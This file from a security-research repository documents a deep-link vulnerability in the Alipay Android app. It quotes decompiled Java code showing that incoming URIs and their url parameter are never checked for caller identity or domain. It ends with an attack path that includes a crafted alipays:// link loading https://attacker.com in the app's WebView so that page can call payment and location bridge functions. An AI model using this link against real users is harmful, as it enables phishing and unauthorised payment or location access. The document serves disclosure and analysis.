Files
alipay-deeplink-research/evidence/cve1/code_evidence.md
feng a3825c939f update: SEO/privacy overhaul — 36 CVE stats, redact case numbers, full sitemap
- Meta/OG/Twitter tags: 17→36 CVEs, 6→9+ countries, SecurityGuard SDK keywords
- Sitemap: 5→12 URLs with correct lastmod dates
- Privacy: redact CSSF/CIRCL/PDPC case numbers, mask regulator staff names
- Content: add 6 new article pages + evidence screenshots
- Numbers: update all CVE counts (6→36, 11 MITRE tickets)

Co-Authored-By: Claude <noreply@anthropic.com>
2026-03-25 05:28:06 +08:00

8.0 KiB
Raw Blame History

CVE-1: DeepLink URL Scheme绕过 (CWE-939) 代码证据

APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 更新: 2026-03-16 — 补充完整调用链代码证据

关键类/方法

  • 文件: sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java
  • 行号: 240-338
// onCreate: Intent 直接分发,无来源身份验证
@Override
public void onCreate(Bundle bundle) {
    super.onCreate(bundle2);
    try {
        if (DexAOPEntry.android_app_Activity_getIntent_proxy(this) == null) {
            finish();
            return;
        }
        LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onCreate..");
        // ... (window styling only, no caller verification)
        setRequestedOrientation(1);
        a();
        schemeLauncherActivity.f192533a.j(bundle2);  // 直接分发给 scheme 处理器
    } catch (Exception e2) {
        LoggerFactory.getTraceLogger().error(w0.f164911a, e2);
        finish();
    }
}

// onNewIntent: 同样无来源校验
@Override
public void onNewIntent(Intent intent) {
    super.onNewIntent(intent2);
    setIntent(intent2);
    LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onNewIntent..");
    a();
    schemeLauncherActivity.f192533a.l(intent2);  // 直接转发,无验证
}

SchemeServiceImpl — getParams() URL 提取无过滤

  • 文件: sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java
  • 行号: 1161-1179
@Override
public Bundle getParams(Uri uri) {
    Bundle bundle = new Bundle();
    for (String str : o(uri2)) {
        bundle.putString(str, uri2.getQueryParameter(str));  // URI 参数原样复制,无白名单过滤
    }
    bundle.putString("appId", getSourceAppId(uri2));
    return bundle;
    // 整个方法:零域名验证,零签名检查
}

// getSourceAppId 解析 (行 1437):
// "app".equals(uri2.getHost()) ? uri2.getPath().substring(1) : uri2.getQueryParameter("appId")

SchemeServiceImpl — startApp 触发 H5 容器 (appId=20000067)

  • 文件: sources/com/alipay/mobile/framework/service/common/impl/SchemeServiceImpl.java
  • 行号: 1054-1065 (openurl) + 2108-2124 (startapp)
// openurl action: URL 原样传入 H5 容器
Bundle bundle = new Bundle();
String str3 = SchemeService.h5Url;
if (TextUtils.isEmpty(str2)) { str2 = str3; }
H5ParamCompService h5ParamCompService = ComponentService.get(H5ParamCompService.class);
if (h5ParamCompService != null) {
    bundle.putString(h5ParamCompService.getUrl(), str2);    // URL 无验证放入
    bundle.putString(h5ParamCompService.getShowToolBar(), "NO");
}
microApplicationContext.startApp("", "20000067", bundle);   // 启动 H5 容器

// startapp action (process() 方法):
public void process() {
    Bundle params = this.this$0.getParams(this.val$externUriSub, this.val$schemeInnerSource);
    // ...
    params.putString("appId", this.val$sourceAppId);
    SchemeServiceImpl.a(this.this$0, params, this.val$extInfo);
    this.this$0.getMicroApplicationContext().startApp(null, "20000067", params, this.val$extInfo, null);
    // ^ "20000067" = H5 WebView 容器URL 未经域名白名单直接加载
}

原有分析 (保留)

Source: Alipay APK 10.8.30.8000 (jadx decompiled)

SchemeLauncherActivity

File: sources/com/alipay/mobile/quinox/SchemeLauncherActivity.java Lines: 240-288

@Override // android.app.Activity
public void onCreate(Bundle bundle) {
    // ...
    super.onCreate(bundle2);
    try {
        getWindow().getDecorView();
        if (DexAOPEntry.android_app_Activity_getIntent_proxy(this) == null) {
            finish();
            return;
        }
        LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onCreate..");
        // ... (window styling only)
        setRequestedOrientation(1);
        a();
        schemeLauncherActivity.f192533a.j(bundle2);  // delegates directly to scheme processor
    } catch (Exception e2) {
        LoggerFactory.getTraceLogger().error(w0.f164911a, e2);
        finish();
    }
}

@Override // android.app.Activity
public void onNewIntent(Intent intent) {
    // ...
    super.onNewIntent(intent2);
    setIntent(intent2);
    LoggerFactory.getTraceLogger().info(w0.f164911a, " enter onNewIntent..");
    a();
    schemeLauncherActivity.f192533a.l(intent2);  // delegates directly, no validation
}

SchemeLaunchRouter — processSchemeInner and schemeServiceProcess

File: sources/com/alipay/mobile/commonbiz/biz/SchemeLaunchRouter.java Lines: 2164-2256

public void processSchemeInner(Uri uri, String str, String str2, String str3, String str4) {
    // ...
    if ((schemeService = (SchemeService) TLCommonUtils.getService(SchemeService.class)) != null) {
        try {
            SourceInfo isSchemeFromOutSide = isSchemeFromOutSide();
            boolean isOutside = isSchemeFromOutSide.isOutside();
            Bundle bundle = new Bundle();
            SchemeUtils.addIntentBundleParams(bundle, this.mIntent);
            bundle.putBoolean("isOriginStartFromExternal", isOutside);
            TLCommonUtils.addFromSchemeRouter(bundle, this.mIntent);
            bundle.putString("sourcePackageName", isSchemeFromOutSide.getPackageName());
            SchemeBootLinkManager.getInstance().initSkipLoginOrSkipHomepage(uri.toString());
            schemeServiceProcess(uri, isOutside, null, bundle);  // dispatches immediately
        } catch (Exception e2) { ... }
    }
}

public void schemeServiceProcess(Uri uri, boolean z, String str, Bundle bundle) {
    // ...
    SchemeService schemeService = (SchemeService) TLCommonUtils.getService(SchemeService.class);
    // ...
    schemeService.processAsync(uri2, z, str, bundle, new SchemeProcessCallback(this) { ... });
    // NO caller identity verification, NO origin authentication
}

Vulnerability Analysis (原有)

The SchemeLauncherActivity is an exported Android Activity registered in the app manifest to handle alipays:// and alipay:// URI schemes. When it receives an incoming Intent (either via onCreate or onNewIntent), it immediately delegates the URI to SchemeLaunchRouter — only checking whether the Intent itself is null, never verifying who sent it or whether the caller is trusted.

The schemeServiceProcess method propagates the URI down to SchemeService.processAsync() carrying only a boolean isOutside flag (whether it came from outside the app). Critically, there is no authentication gate: no check that the caller has a valid session token, no signature verification of the calling package, and no allowlist enforcement before the scheme is dispatched. Any app or web page that can fire an alipays:// deep-link Intent — including a malicious website opened in any browser — can trigger arbitrary in-app navigation in Alipay without the user having been identified or consented to the specific action being dispatched.


漏洞根因 (基于代码分析)

SchemeLauncherActivity 注册为支付宝的 DeepLink 入口,接收 alipay:// / alipays:// URI。onCreate/onNewIntent 在取得 Intent 后直接转发,无调用方身份验证。

SchemeServiceImpl.getParams() 将所有 URI query parameter 原样复制到 Bundle行 1174-1176无域名白名单过滤。最终 startApp(null, "20000067", params) 将携带任意 url= 值的 Bundle 传入 H5 WebView 容器。

关键缺失:

  1. 无来源签名验证Intent caller 包名未受信校验)
  2. getParams() 无 URL 域名白名单
  3. appId=20000067H5页面容器url 参数无过滤

攻击路径

外部 App / 短链 / 网页点击
    ↓
Intent: alipays://platformapi/startApp?appId=20000067&url=https://attacker.com
    ↓
SchemeLauncherActivity.onCreate()  [无来源校验]
    ↓
f192533a.j(bundle) → SchemeServiceImpl.processAsync()
    ↓
getParams(uri)  [无域名白名单,原样复制 url 参数]
    ↓
MicroApplicationContext.startApp("", "20000067", params)
    ↓
H5 WebView 加载 https://attacker.com
    ↓
攻击者页面调用 JSBridge: tradePay / getLocation / setTitle / toast